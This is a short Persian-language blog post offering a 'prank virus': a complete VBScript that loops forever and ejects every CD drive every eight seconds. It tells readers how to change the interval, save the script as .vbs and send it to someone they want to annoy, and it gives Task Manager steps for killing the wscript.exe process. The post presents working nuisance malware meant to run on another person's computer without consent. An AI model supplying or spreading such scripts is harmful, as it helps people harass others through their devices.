ساخت یک ویروس سرکاری و اعصاب خورد کن دیگر

جهت دریافت ادامه مطلب بروید

ساخت یک ویروس سرکاری و اعصاب خورد کن دیگر

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 8000

loop

خوب با این ترفند هر 8 ثانیه دیسک خوان شما باز می شود

و اگه می خواید این مدت زمان رو بیشتر یا کمتر کنید

در قسمت

sleep 8000

که در کد ها هست رو می تونید مثلا به دو ثانیه (2000 در کد بزنید بعد از کلمه ی sleep) تغییر بدید

که اینطوری میشه

sleep 2000

باز هم میگم که کپی کنید کد ها رو

و در آخر با فرمت vbs سیو کنید
و می تونید آپلودش کنید و به کسی که می خواید اذیتش کنید بدید
و برای غیر فعال کردن کلید های Ctrl + Alt + Delete
و start task manager رو انتخاب کنید و در پنجره ی باز شده processes رو انتخاب کنید و روی wscript.exe کلیک کنید و بعد هم روی end process و از شما یک سوال می پرسه و شما دوباره روی end process کلیک کنید .

دریافت فایل آماده
حجم: 301 بایت

نویسنده :محمدرضاطرح

نظرات شما عزیزان:

نام :

آدرس ایمیل:

وب سایت/بلاگ :

متن پیام:

نظر خصوصی

 کد را وارد نمایید:

 

 

 

عکس شما

آپلود عکس دلخواه: